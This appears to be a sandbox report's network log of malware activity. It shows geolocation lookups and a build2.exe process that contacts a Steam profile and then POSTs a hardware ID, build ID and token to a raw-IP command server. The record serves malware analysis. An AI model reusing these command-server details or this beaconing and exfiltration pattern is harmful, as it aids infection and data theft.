2024-04-24 10:06:58 UTC	457	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 33 66 35 37 35 61 35 33 34 66 37 66 30 64 35 36 34 66 31 31 35 32 35 61 30 30 34 63 34 61 35 64 35 35 35 61 35 63 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#3f575a534f7f0d564f11525a004c4a5d555a5c
2024-04-24 10:06:58 UTC	473	IN	Data Raw: d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 61 39 63 31 63 63 63 35 64 39 65 39 39 62 63 30 64 39 38 37 64 63 63 38 39 36 64 61 64 63 63 62 63 33 63 63 63 61 64 64 39 34 39 62 63 30 64 39 38 37 64 63 63 38 22 3e Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#a9c1ccc5d9e99bc0d987dcc896dadccbc3cccadd949bc0d987dcc8">
2024-04-24 10:06:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49706	172.67.139.220	443	6600	C:\Users\user\Desktop\Z4CYGTBlj7.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 10:06:59 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-04-24 10:07:00 UTC	914	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 24 Apr 2024 10:07:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CnZd35F42YHPurvX%2BKANvl9jCN6OthmF3pcAFcn1RXgS78P6wmL%2FprFOEDQXKzyZr71VdKnWwV76gSaerU1dhvkctKZPe%2B7XDI3QANPi2X%2FgE5QSU7640JOfmP25"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879548a66d5452fb-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 10:07:00 UTC	455	IN	Data Raw: 33 32 66 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 66 35 39 64 39 30 39 39 38 35 62 35 63 37 39 63 38 35 64 62 39 38 39 30 63 61 38 36 38 30 39 37 39 66 39 30 39 36 Data Ascii: 32f<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#f59d909985b5c79c85db9890ca8680979f9096
2024-04-24 10:07:00 UTC	367	IN	Data Raw: ba 20 d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 39 37 66 66 66 32 66 62 65 37 64 37 61 35 66 65 65 37 62 39 65 32 66 36 61 38 65 34 65 32 66 35 66 64 66 32 66 34 65 33 61 61 61 35 66 65 65 37 62 39 65 32 66 36 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#97fff2fbe7d7a5fee7b9e2f6a8e4e2f5fdf2f4e3aaa5fee7b9e2f6
2024-04-24 10:07:00 UTC	114	IN	Data Raw: 36 63 0d 0a 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 73 72 63 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 63 72 69 70 74 73 2f 35 63 35 64 64 37 32 38 2f 63 6c 6f 75 64 66 6c 61 72 65 2d 73 74 61 74 69 63 2f 65 6d 61 69 6c 2d 64 65 63 6f 64 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a Data Ascii: 6c<script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script>
2024-04-24 10:07:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49707	172.67.139.220	443	4408	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 10:07:01 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-04-24 10:07:02 UTC	910	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 24 Apr 2024 10:07:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pyjB2JLZpuhcA3rnTBnCZ%2FJ3dk%2BQks1KypKO3oDimfurWXkQ5ZgMG6PHtpqElPPsKxwEj6ziSPMQ5YfhaXngA1KecNijzouABquD0L58YxVSu7ezZnpuxbV2HwiI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879548b32dc92f02-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 10:07:02 UTC	459	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 61 33 63 62 63 36 63 66 64 33 65 33 39 31 63 61 64 33 38 64 63 65 63 36 39 63 64 30 64 36 63 31 63 39 63 36 63 30 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#a3cbc6cfd3e391cad38dcec69cd0d6c1c9c6c0
2024-04-24 10:07:02 UTC	471	IN	Data Raw: d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 36 32 30 61 30 37 30 65 31 32 32 32 35 30 30 62 31 32 34 63 31 37 30 33 35 64 31 31 31 37 30 30 30 38 30 37 30 31 31 36 35 66 35 30 30 62 31 32 34 63 31 37 30 33 22 3e 3c 73 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#620a070e1222500b124c17035d111700080701165f500b124c1703"><s
2024-04-24 10:07:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49712	184.85.65.125	443	6656	C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 10:07:08 UTC	119	OUT	GET /profiles/76561199673019888 HTTP/1.1 Host: steamcommunity.com Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 10:07:08 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 24 Apr 2024 10:07:08 GMT Content-Length: 33790 Connection: close Set-Cookie: sessionid=5b6392e69727d140009b9af0; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C8efca4b9dedd65f9ac922759639cacad; Path=/; Secure; HttpOnly; SameSite=None
2024-04-24 10:07:08 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-04-24 10:07:08 UTC	16384	IN	Data Raw: 6f 62 61 6c 5f 61 63 74 69 6f 6e 5f 6c 69 6e 6b 22 20 69 64 3d 22 6c 61 6e 67 75 61 67 65 5f 70 75 6c 6c 64 6f 77 6e 22 20 6f 6e 63 6c 69 63 6b 3d 22 53 68 6f 77 4d 65 6e 75 28 20 74 68 69 73 2c 20 27 6c 61 6e 67 75 61 67 65 5f 64 72 6f 70 64 6f 77 6e 27 2c 20 27 72 69 67 68 74 27 20 29 3b 22 3e 6c 61 6e 67 75 61 67 65 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 62 6c 6f 63 6b 5f 6e 65 77 22 20 69 64 3d 22 6c 61 6e 67 75 61 67 65 5f 64 72 6f 70 64 6f 77 6e 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 22 3e 0d 0a 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 62 6f 64 79 20 70 6f 70 75 70 5f 6d 65 6e 75 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 Data Ascii: obal_action_link" id="language_pulldown" onclick="ShowMenu( this, 'language_dropdown', 'right' );">language</span><div class="popup_block_new" id="language_dropdown" style="display: none;"><div class="popup_body popup_menu">
2024-04-24 10:07:08 UTC	2892	IN	Data Raw: 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 63 6f 75 6e 74 5f 6c 69 6e 6b 5f 70 72 65 76 69 65 77 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6c 65 61 72 3a 20 6c 65 66 74 3b 22 3e 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 0d 0a 09 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 6d 61 69 6e 74 61 69 6e 58 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 62 46 6f 63 75 73 52 69 6e 67 52 6f 6f 74 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f Data Ascii: <div class="profile_count_link_preview"><div style="clear: left;"></div></div></div></div><div data-panel="{"maintainX":true,"bFocusRingRoot":true,&quo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49713	95.217.9.149	443	6656	C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 10:07:10 UTC	169	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 10:07:10 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 10:07:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-24 10:07:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49714	95.217.9.149	443	6656	C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 10:07:12 UTC	261	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHCGIJDHDGDBGDGCGCFH User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Content-Length: 279 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 10:07:12 UTC	279	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 48 43 47 49 4a 44 48 44 47 44 42 47 44 47 43 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 31 32 44 41 30 31 33 38 34 38 30 31 31 32 38 30 35 36 36 34 38 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 2d 31 31 65 65 2d 38 63 31 38 2d 38 30 36 65 36 66 36 65 36 39 36 33 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 47 49 4a 44 48 44 47 44 42 47 44 47 43 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 37 30 36 64 63 36 63 39 32 30 32 34 33 30 62 63 36 66 62 32 65 37 34 38 39 36 64 38 33 31 31 0d 0a 2d 2d 2d 2d 2d 2d Data Ascii: ------EHCGIJDHDGDBGDGCGCFHContent-Disposition: form-data; name="hwid"D12DA01384801128056648-a33c7340-61ca-11ee-8c18-806e6f6e6963------EHCGIJDHDGDBGDGCGCFHContent-Disposition: form-data; name="build_id"1706dc6c9202430bc6fb2e74896d8311------
2024-04-24 10:07:13 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 10:07:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-24 10:07:13 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 62 33 35 35 31 31 39 36 30 31 34 62 35 33 63 37 37 37 32 31 62 30 66 36 37 37 32 38 30 34 64 62 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 30 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|b3551196014b53c77721b0f6772804db\|1\|1\|1\|0\|0\|50000\|00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49715	172.67.139.220	443	5680	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 10:07:14 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-04-24 10:07:15 UTC	912	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 24 Apr 2024 10:07:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=81ptfRHwriK7GKYkdoB7iIUkeODiZCyvit0h5XKpX8c3poNmINNft1zha%2ByVGoICWlU4FaX%2FQQMPs5q11f3kV7mXRI7%2FibpPyJ0tKAHciLGc4r5ayCADbR4KYHDF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87954903f9be1025-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 10:07:15 UTC	457	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 31 65 37 36 37 62 37 32 36 65 35 65 32 63 37 37 36 65 33 30 37 33 37 62 32 31 36 64 36 62 37 63 37 34 37 62 37 64 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#1e767b726e5e2c776e30737b216d6b7c747b7d
2024-04-24 10:07:15 UTC	473	IN	Data Raw: d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 65 39 38 31 38 63 38 35 39 39 61 39 64 62 38 30 39 39 63 37 39 63 38 38 64 36 39 61 39 63 38 62 38 33 38 63 38 61 39 64 64 34 64 62 38 30 39 39 63 37 39 63 38 38 22 3e Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#e9818c8599a9db8099c79c88d69a9c8b838c8a9dd4db8099c79c88">
2024-04-24 10:07:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49716	95.217.9.149	443	6656	C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 10:07:14 UTC	261	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHJEBGIEBFIJKEBFBFHI User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 10:07:14 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 33 35 35 31 31 39 36 30 31 34 62 35 33 63 37 37 37 32 31 62 30 66 36 37 37 32 38 30 34 64 62 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 37 30 36 64 63 36 63 39 32 30 32 34 33 30 62 63 36 66 62 32 65 37 34 38 39 36 64 38 33 31 31 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 49 0d 0a 43 6f 6e 74 Data Ascii: ------DHJEBGIEBFIJKEBFBFHIContent-Disposition: form-data; name="token"b3551196014b53c77721b0f6772804db------DHJEBGIEBFIJKEBFBFHIContent-Disposition: form-data; name="build_id"1706dc6c9202430bc6fb2e74896d8311------DHJEBGIEBFIJKEBFBFHICont
2024-04-24 10:07:15 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 10:07:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
